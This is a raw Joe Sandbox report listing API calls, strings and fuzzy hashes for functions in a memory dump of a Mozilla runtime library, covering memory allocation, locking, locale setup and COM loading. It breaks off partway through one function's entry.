Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 86040440a6b5a666add629f8f4769de8ca988bcfd99eaa29ce1d05a203c244f9
Instruction ID: 0eaa3da87508b8389fc69d7f1b5e92b83b5973571bb3e035c648cbd8645011f0
Opcode Fuzzy Hash: 86040440a6b5a666add629f8f4769de8ca988bcfd99eaa29ce1d05a203c244f9
Instruction Fuzzy Hash: 7D41D4B2D001199FCB00EFA9DC805AEB7B5FB85324F250629E825E7790E771AD0587D1

Function 6C5AEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C625104), ref: 6C5AEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5AEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5AEFEC
free.MOZGLUE(?), ref: 6C5AF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5AF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C5AF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5AF065
moz_xmalloc.MOZGLUE ref: 6C5AF072

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 1d62eb0138c295c29f35ef9a7b886493b4a41a722277b0f439d18e8761789a9b
Instruction ID: 40e24d2299668908c9ad9781d47e5ab1231a25cd0dc0f9df77825805024323f8
Opcode Fuzzy Hash: 1d62eb0138c295c29f35ef9a7b886493b4a41a722277b0f439d18e8761789a9b
Instruction Fuzzy Hash: 4141F4B1A002059FCB08CFA9DC809AE7765FF89324B240728E916DB794EB71E915C7E5

Function 6C61B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C61B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C61B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C61B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C61B5F4
__Init_thread_footer.LIBCMT ref: 6C61B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C61B61F
std::_Facet_Register.LIBCPMT ref: 6C61B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61B655

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: f2ec8b70b07684d4cf0f0aab25e2cf4280ae7eefacb04037f4dbbeb477f763e5
Instruction ID: 1f71f04cfe6d1d077e6d6df7f400f5cb3e6d9534b9819a13942ab196e849e7cb
Opcode Fuzzy Hash: f2ec8b70b07684d4cf0f0aab25e2cf4280ae7eefacb04037f4dbbeb477f763e5
Instruction Fuzzy Hash: 11318471B00214CBCB10DF6AC8949EEB7F5EBCA325F150929D90697740DB38A806CF9A

Function 6C5E6590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DFA80: GetCurrentThreadId.KERNEL32 ref: 6C5DFA8D
Part of subcall function 6C5DFA80: AcquireSRWLockExclusive.KERNEL32(6C62F448), ref: 6C5DFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5E6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C5E67C8

Part of subcall function 6C5F4290: memcpy.VCRUNTIME140(?,?,6C602003,6C600AD9,?,6C600AD9,00000000,?,6C600AD9,?,00000004,?,6C601A62,?,6C602003,?), ref: 6C5F42C4

Strings

vbl, xrefs: 6C5E696C
data, xrefs: 6C5E6593

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vbl
API String ID: 511789754-1095404901
Opcode ID: 369c71a260fe7e67a1b24390b5a4041e21f86be7599bc09608e447d5c260b9fa
Instruction ID: 76854d40968107d371606e8cdc04344036de73bd22231d81875b052ce1f557d6
Opcode Fuzzy Hash: 369c71a260fe7e67a1b24390b5a4041e21f86be7599bc09608e447d5c260b9fa
Instruction Fuzzy Hash: 40D1CE75A08340CFD724DF29C851B9FB7E6AFC9348F10492DE59997B91EB30A809CB52

Function 6C5DD5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C5AEB57,?,?,?,?,?,?,?,?,?), ref: 6C5DD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C5AEB57,?), ref: 6C5DD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C5AEB57,?), ref: 6C5DD673
free.MOZGLUE(?), ref: 6C5DD888

Strings

WZl, xrefs: 6C5DD5D9, 6C5DD63F
|Enabled, xrefs: 6C5DD81E

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: WZl$|Enabled
API String ID: 4142949111-2253591229
Opcode ID: 0c7a8bfe7889f99ca0d2cb1a05a9465906010ae34b1be3c1af2b93e896d3b131
Instruction ID: 94e8c673f1f9dabd18c86c782d384f36b3bf29acdf5d5246b29ac01ef2c475ae
Opcode Fuzzy Hash: 0c7a8bfe7889f99ca0d2cb1a05a9465906010ae34b1be3c1af2b93e896d3b131
Instruction Fuzzy Hash: 06A1F0B0A00308DFDB11CF69C8D0BAEBBF1AF49318F15845CD889AB741D735A885CBA5

Function 6C5B9830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C607ABE), ref: 6C5B985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C607ABE), ref: 6C5B98A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C5B9909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C5B9918
free.MOZGLUE(?), ref: 6C5B9975

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 622a4ea26003a80f42b014b8886c3a7e4cc40e449d61d54aad99a273921a4c03
Instruction ID: 469420df23db0b9212d9f96705172712adc20f024d0b52309ba8852e08e07149
Opcode Fuzzy Hash: 622a4ea26003a80f42b014b8886c3a7e4cc40e449d61d54aad99a273921a4c03
Instruction Fuzzy Hash: 3571AC74604705CFC764CF28C890956BBF1FF9A324B644AADE85AABB90D731F801CB91

Function 6C5BB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C5FCC83,?,?,?,?,?,?,?,?,?,6C5FBCAE,?,?,6C5EDC2C), ref: 6C5BB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C5FCC83,?,?,?,?,?,?,?,?,?,6C5FBCAE,?,?,6C5EDC2C), ref: 6C5BB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C5FCC83,?,?,?,?,?,?,?,?,?,6C5FBCAE), ref: 6C5BB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C5FCC83,?,?,?,?,?,?,?,?,?,6C5FBCAE,?,?,6C5EDC2C), ref: 6C5BB896

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: cc6d24819878ee20c90571fa62423529633b9c5435fc50a6c527d456511455c8
Instruction ID: 26ea383a1718e6e667ebf041aaf31586e61323391111957d0eb3aa9395f32642
Opcode Fuzzy Hash: cc6d24819878ee20c90571fa62423529633b9c5435fc50a6c527d456511455c8
Instruction Fuzzy Hash: 83519A357006008FCB24DF59C9E4A6ABBF5FF89318B69895DE98AA7351C771EC01CB84

Function 6C5F1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5F1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C5F1BE3,?,?,6C5F1D96,00000000), ref: 6C5F1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C5F1BE3,?,?,6C5F1D96,00000000), ref: 6C5F1D4C
GetCurrentThreadId.KERNEL32 ref: 6C5F1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5F1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5F1DDA

Part of subcall function 6C5F1EF0: GetCurrentThreadId.KERNEL32 ref: 6C5F1F03
Part of subcall function 6C5F1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C5F1DF2,00000000,00000000), ref: 6C5F1F0C
Part of subcall function 6C5F1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C5F1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C5F1DF4

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: b6d7287b3a40ddc3ce9e4fc848ef94815a84db91f4ef79f460e7ce6af70260b7
Instruction ID: 9a471be08b50e03592e8f6c06e79911b50f8685a6c83a424bdf97b2465dc7a99
Opcode Fuzzy Hash: b6d7287b3a40ddc3ce9e4fc848ef94815a84db91f4ef79f460e7ce6af70260b7
Instruction Fuzzy Hash: 704159B52007009FCB14DF29C888A56BBF9FB89354F10442DE99A87B41CB75F855CBA5

Function 6C5E84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E85AC

Part of subcall function 6C5E7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5E85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E767F
Part of subcall function 6C5E7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5E85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E7693
Part of subcall function 6C5E7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5E85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E85B2

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 3618939d2246d539879c1c169ea646ce8a789ed37bdf003004a6aa54b5a21095
Instruction ID: b652a571e6f515641b9c497483492db018b07d393e4d3211ba346c22e8bc3285
Opcode Fuzzy Hash: 3618939d2246d539879c1c169ea646ce8a789ed37bdf003004a6aa54b5a21095
Instruction Fuzzy Hash: 61218375200601AFEB14DB29CC88A5AB7B5AF8830CF14482DE55BC3B42DB35F948CB96

Function 6C5B1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C5B1699
VerSetConditionMask.NTDLL ref: 6C5B16CB
VerSetConditionMask.NTDLL ref: 6C5B16D7
VerSetConditionMask.NTDLL ref: 6C5B16DE
VerSetConditionMask.NTDLL ref: 6C5B16E5
VerSetConditionMask.NTDLL ref: 6C5B16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5B16F9

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: b6f42de132c7c570b1acc8af22459d86b432da717e7c0a9fdf9f8d92dba5dab6
Instruction ID: d7b8fea4e3683e935f6ab4b0026390d715965b0081423ffdbe60eb39ebaa007a
Opcode Fuzzy Hash: b6f42de132c7c570b1acc8af22459d86b432da717e7c0a9fdf9f8d92dba5dab6
Instruction Fuzzy Hash: 9321E4B07442086BEB116E69CC85FFBB77CEFC6704F004528F645AB5C0C6799D548BA5

Function 6C5EF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C5EF598), ref: 6C5EF621

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

GetCurrentThreadId.KERNEL32 ref: 6C5EF637
AcquireSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000,?,6C5EF598), ref: 6C5EF645
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000,?,6C5EF598), ref: 6C5EF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C5EF62A

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 69fbacff4da7f0a93362dcaa94a33f23be06b897f07cb4d8d1ce540091deff6d
Instruction ID: d740527415803baead367260ccc54a38db26fffedb8bb9903df7e10db01e0423
Opcode Fuzzy Hash: 69fbacff4da7f0a93362dcaa94a33f23be06b897f07cb4d8d1ce540091deff6d
Instruction Fuzzy Hash: 7611C471201204EBCB04AF1ADC849D57779FFCA768F500416EA0687F42CB79AC11CFA9

Function 6C5B2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

LoadLibraryW.KERNEL32(combase.dll,6C5B1C5F), ref: 6C5B20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C5B20CD
__Init_thread_footer.LIBCMT ref: 6C5B20E1
FreeLibrary.KERNEL32 ref: 6C5B2124

Strings

combase.dll, xrefs: 6C5B20A9
CoInitializeSecurity, xrefs: 6C5B20C7

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 81d5ff8c5f555e580e36bcecfa518a0618cbc3de2ca210ca6dd8382fae19bf42
Instruction ID: 5b92a4b743317ea15f68d3e43842e71e00a187b22aa883503822c81697868b54
Opcode Fuzzy Hash: 81d5ff8c5f555e580e36bcecfa518a0618cbc3de2ca210ca6dd8382fae19bf42
Instruction Fuzzy Hash: E5217976200219EFDF11DF5ADC88EDA3F76FB4A365F104014FA05A2610D7399862CFAA

Function 6C6076C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C6076F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C607705

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C607717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C60778F,00000000,00000000,00000000,00000000), ref: 6C607731
free.MOZGLUE(00000000), ref: 6C607760

Strings

}>^l, xrefs: 6C6076C4

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>^l
API String ID: 2538299546-4141363822
Opcode ID: 02ea93f5d8dae6cc70c534ca2b7b28a8e68b0bddd1472283d0ac95af12868c13
Instruction ID: 3893732f0238d377a58bf1b99782178f79b1b980dc362e957950ebf602c93efd
Opcode Fuzzy Hash: 02ea93f5d8dae6cc70c534ca2b7b28a8e68b0bddd1472283d0ac95af12868c13
Instruction Fuzzy Hash: FF11C8B1A05215ABD710AFB69D44BAB7EF8EF86354F144429F848E7300E7719C4087F6

Function 6C5B1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C5B1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C5B1FFD
__Init_thread_footer.LIBCMT ref: 6C5B2011
FreeLibrary.KERNEL32 ref: 6C5B2059

Strings

combase.dll, xrefs: 6C5B1FD9
CoCreateInstance, xrefs: 6C5B1FF7

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: a18edd1393dcf326f9966836c3931d27974555fc73e623fee84e296eb54c4658
Instruction ID: 2d0b8be81770f0a479099af5416ad86b74d219a1b8ec5eb329186d73010cba62
Opcode Fuzzy Hash: a18edd1393dcf326f9966836c3931d27974555fc73e623fee84e296eb54c4658
Instruction Fuzzy Hash: 43115E75201219EFEF20CF26CD9CE963F79EB96355F104029F905A2640D7399861CF7A

Function 6C5B0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C5DD9F0,00000000), ref: 6C5B0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C5B0F3C
__Init_thread_footer.LIBCMT ref: 6C5B0F50
FreeLibrary.KERNEL32(?,6C5DD9F0,00000000), ref: 6C5B0F86

Strings

combase.dll, xrefs: 6C5B0F18
CoInitializeEx, xrefs: 6C5B0F36

Memory Dump Source

